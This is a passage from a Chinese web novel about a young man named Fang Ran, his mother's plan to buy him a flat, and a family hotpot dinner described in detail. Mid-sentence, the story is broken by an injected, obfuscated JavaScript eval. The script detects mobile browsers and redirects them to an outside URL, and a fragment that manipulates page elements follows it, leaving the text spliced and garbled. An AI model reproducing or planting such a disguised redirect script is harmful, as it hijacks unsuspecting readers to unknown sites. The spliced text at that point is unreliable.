有点洁癖,但是偶尔会犯懒,在方然还没有其他参照物的时候,总是被忽悠的干不少家务,譬如零花钱是要靠洗碗挣的,压岁钱是要拿来交学费的,不交他就会成为失学儿童。 后来才知道,别的同学们都不需要这样。 闹过但又被无情镇压了。 过了两天就是休息日,杨梅香同志提早预约了方然的时间,带着方然去了一家在方然看来非常高端的售楼部,带着方然去填写了认购申请表,准备给方然置办婚房一套。 等填写完申请表,走出售楼部后,方然看着周边七万一平的平均地价,发觉自己兜里的钱连个厕所的买不起后,看向亲妈的眼光都变了,爹妈的财力果然深不可测,是他还小,不配知道家庭的财产情况。 回到家后,杨梅香看见方和平坐着玩手机,气就不打一处来:“没活干了嘛?坐着玩手机?马上就要背贷款还不抓紧干活!指望你儿子那四千块的工资能还个什么贷款?!” 拿着四千块工资付不起首付还不起贷款靠着爹妈过日子的方然,一声都不敢吭。杨梅香女士在家里果然是站在食物链顶端的人,只有讨好杨梅香女士,方然的日子才过得好。 毕竟杨梅香女士看上的户型是个三居,用杨梅香同志的话来说,房票紧张,一次到位,省的折腾。 要付出的首付和贷款确实让方然觉得压力超级大,不过杨梅香同志好像直接把压力给到了方和平同志。现在的情况,就是钱虽然还在老方家的口袋里,但是等楼盘一摇号,就要飞走了。 最主要的是方然也不知道杨梅香同志为何突然要给他置办婚房了,明明他未来的老婆那么近却又那么远。 甚至打开微信的聊天界面也是毫无内容,那寥寥几句的对话曾经看来如此的让人小鹿乱撞,那现在的方然就觉得有多么的不满足,尤其是看见路边走过一对黏黏糊糊的情侣。 他也好想有人能贴贴啊。 19. 贡菜干 日子一流水的过去了,国庆假期就此来临,杨梅香同志也越来越不对劲,每天都看不得方然在家里,好似一直在催促着他出门的样子,看得方然经常摸不着头脑。 这不,又开始问上了:“国庆别总蹲在家里,多约人出去玩玩。” 方然想想他的朋友们,好像没什么人能陪着他出去玩,杨梅香又补了一句:“多和小姑娘出去玩。” 眼神中带着强烈的指向性。 方然默默走到一边,掏出手机,约郑清越,毫不意外的收获了她的拒绝,郑清越国庆假期并不在A市,等她回A市了再约。后面这句话倒是让方然忍不住雀跃。不知道何时站在方然身后的杨梅香用力地拍了一下方然的背,表达了她的不满,然后对方然说:“你应该早点问的啊,现在人家都已经计划好了。反正你国庆假期没事干,那你好好陪你外公外婆出去逛逛好了。” 作为老牌的旅游城市,国庆假期的A市属于人都能被挤下湖里去的那种,而且来旅游的人就一定要去久负盛名的东湖游玩,冒着三十度的高温,看着乌压压的人群,身高矮一点都只能看见别人的背,再加上邹凤仙是个娇小的个子,是方然觉得不太可能能瞅见风景的人。 倒是家边上的镇海江可以看看,却也只是一条大河罢了。 吃喝玩乐这四个字的快乐,在人挤人的情况下总是少了很多的意趣。 假期第一天方和平就麻溜地关店了,做大学城的生意就是这点好,假期的时候学生们都和雏鸟返巢了一样,拖着行李箱,就从校门涌出,挤向各种交通枢纽,而大学城边上的常驻人口也开始向外流出准备旅游,生意清冷的还不如关门休息。 杨梅香倒也没有那么的没有良心,一改往常的出门旅游,反而在家里陪着杨怀仁和邹凤仙,刷着手机,疯狂寻找什么小众景点,力争景美人少,结果一家人开着车过去一看,只有上当了的感觉,抛开了滤镜土灰土灰的景色,根本没有博主们说地那种“梦幻感”。 杨怀仁和邹凤仙虽然嘴巴上要埋怨几句,但是能和女儿一家人一起玩耍也还是挺开心的,眼角的皱纹都是舒展的状态。 瞎逛了几下,一家人就灰溜溜的返程,找店吃晚饭。 十月的天也是说变就变了,夜风一起,穿着短袖就有些难以抵挡了,每年下半年第一次感到寒流的时候就是吃第一顿火锅的好时候。 开在大学城的连锁火锅店因为大学生们的返家生意变得比平时清冷很多,老方家一大家子人没等位就顺利的进去了,论口味还是得吃潮城的鲜牛肉火锅,但口味特别出挑的店在假期已经没有什么位置了,只能退而求其次,选了家连锁的火锅店。 火锅店的菜品都是大差不差,能做成连锁的火锅店锅底也至少符合大众口味,方然不够能吃辣,但是清汤锅涮肉菜总有着一种让他不太能接受的腥味,每次都是一边“斯哈斯哈”一边在辣锅里涮肉,清汤锅就是纯粹为蔬菜们准备的。 在一众蔬菜中方然最喜欢的就是贡菜干了,这菜干也不是所有火锅店都有的,但是简单的涮一下,就是碧条条的,吃起来独有的清脆口感是其他菜品无法比拟了,在方然心中那就是“菜中毛肚”。 就这一份贡菜干就牢牢锁住了他这个顾客。 火锅店里的冷气开得也足足的,刚进来的时候胳膊上冷风一吹就能起来一片的鸡皮疙瘩。这时候吃着热乎乎的火锅,最为惬意了,再加上这家店的食材都经过了他们特殊的处理,不怕老,就算涮老了好歹还能咬得动。 杨梅香同志喜欢吃鲜嫩的口感,方和平就拿着个漏勺和公筷给她涮着毛肚、黄喉,标准的七上八下后,放入杨梅香同志的蘸料碗中,就完成了方和平环节的投喂。涮得恰到火候的毛肚,形状缩水不多,在蘸料里裹一圈,表面还沾上点点芝麻碎,入口鲜香又脆嫩,和牙齿的纠缠中,那毛肚小小的抗拒力量令人着迷。 而方然和外公外婆都是要煮透了才肯吃的人,食材直接一股脑的下了进去,确保每一次把筷子伸进去都能夹出东西来,这种行为让杨梅香很是嫌弃,用她的话说根本就是就是吃不到一个锅里去。 杨梅香在方然上了大学后就不愿意和方然一起吃火锅了,她是要慢慢吃的人,而方然和同学们一起吃火锅和烤肉那就像打战,不一口气下一盘,都抢不到肉,要是碰上要排队饿了一段时间才吃上火锅,那不讲究的人就快要接近“茹毛饮血”了。 刚下去没多久,肉可能刚刚熟,甚至混着点点未熟的,大家就喊着:“熟了熟了,快冲快冲!” 四双筷子进辣锅里张大筷子的角度,一夹总能夹上满满一筷子的肉。 等筷子夹上来的吃完后,再用捞勺捞一捞,捞不到什么了就可以再下一盘肉了,然后四匹狼一起盯着锅子,等它重新沸了,又重复一下:“熟了熟了,快冲快冲!” 来回重复个三次,把馋虫解了,肚子混了个半饱后,才能开始慢悠悠的七上八下开始涮起黄喉、毛肚、鸭肠之类的食材。 这种吃饭的默契也是和大学兄弟们磨合了好久才形成的,每个人都有自己的吃饭习惯,有些人下了什么就要夹回来什么,而有些人一直处于被照顾的状态,不下菜却夹菜,两种人碰上了多少有点要冒火星的意思了。 想到这些事情,方然多少有点想念大学的兄弟们了,但是离着最近的刘向杰公交都要坐个小两小时才能见到面,更何况刘向杰现在有情况了,总不好去当电灯泡吧。 兄弟在对象面前,多少有点不值一提,这就是刘向杰的本性。但方然也不会想不开,更没有必要去考验他们的友情,因为没得可比性。 不过刘向杰呆的地方有很多农场,除了农大的试验田外,还有很多村里人自己整的大棚,带着外公外婆去农 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607148|156098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家乐一下也不错。据说是刚准备开始搞这个旅游经济,还没找什么达人推广了,等下倒是可以问一下刘向杰有什么推荐。 方然去调料台给自己重新做了一碗蘸料,就他的食量基本上要用掉两碗蘸料才能吃饱,而且他有他自己的蘸料公式,反正啥东西沾了就是那个蘸料味。 牛肉酱、蚝油、蒜泥、葱花、香菜各一勺,小米辣一点点,然后淋上两勺香油,再放些芝麻粒和花生碎增香,最后还需要加点香醋和白糖提鲜。 他也试过其他不少的推荐蘸料,但最后还是觉得这个公式最好吃,从基础油碟上加了他喜欢的酱汁演变而来。方然不太喜欢蘸麻酱,因为A市的火锅江湖,芝麻酱的品质良莠不齐,有些火锅店的芝麻酱和花生酱都没有加水好好化开,稠的不挂食材,让方然大为恼火,从此告别了A市的麻酱,但他又很向往去京市吃涮羊肉蘸加了一些韭花酱和腐乳汁的麻酱。 在他看来,如果在A市吃到某些其他地方久负盛名但又不好吃的食物,那就是A市的不正宗,虽然现代物流已经非常快速了,但是很多平价美食脱离了孕育它的当地食材,换了个城市,就算做法一样也会因为食材的问题丧失它的灵魂。很少有在别的地方开店又千里迢迢从发源地采购食材的,毕竟不是所有的食材都是松茸,因为风味独特,价格高昂到能够包含住高昂的运费。 还是人去本地吃,才正宗。 就像苕皮,A市的烤苕皮远没有辣锅煮苕皮来得好吃。 方然调好酱料,又拿了两个碗装了一些蒜泥香油回去,香油解辣,专门为杨怀仁和邹凤仙调的。 这两人虽然年纪大,但是也要吃辣锅,又在身前放了一个装了清汤锅的碗,辣锅煮的食材又到碗中去涮一下,又借辣锅的味儿,又能减去食材表面粘附着的牛油、辣椒和花椒。 但,溶辣椒素还得靠香油。 方然用手腕、掌心、手指箍住三个料碗还勉强拿了两碟子水果才回位置上去,将蒜油碟推给杨怀仁和邹凤仙:“外公外婆,试试蘸一下这个。” 杨怀仁多多少少有点喜欢端着,毕竟当久了一家之主,对小辈虽然疼爱,却不会立马响应小辈的建议,还有着一种多年老厨师的坚持,面前摆着的就是据说他从北方涮羊肉馆复刻来的秘制蘸酱,但是显然这边芝麻酱品质不咋滴香,他也没蘸几下。 而邹凤仙却不一样了,很是活泼自在,听了方然的话,立马将一条涮好的鸭肠蘸了进去,蘸透了,用筷子在碗上轻轻抖了两下,等香油滴地差不多了,放进盘子里,再用盘底蹭掉一些。 送入嘴中,轻嚼了两下,瞬间眼睛一亮。 看着方然给还没动过的新调制的蘸料,蠢蠢欲动,问道:“然然,我能不能试试你这个?” “行的行的!喜欢我再去弄一碗。”方然心中还有点窃喜,这不也是对他的肯定嘛!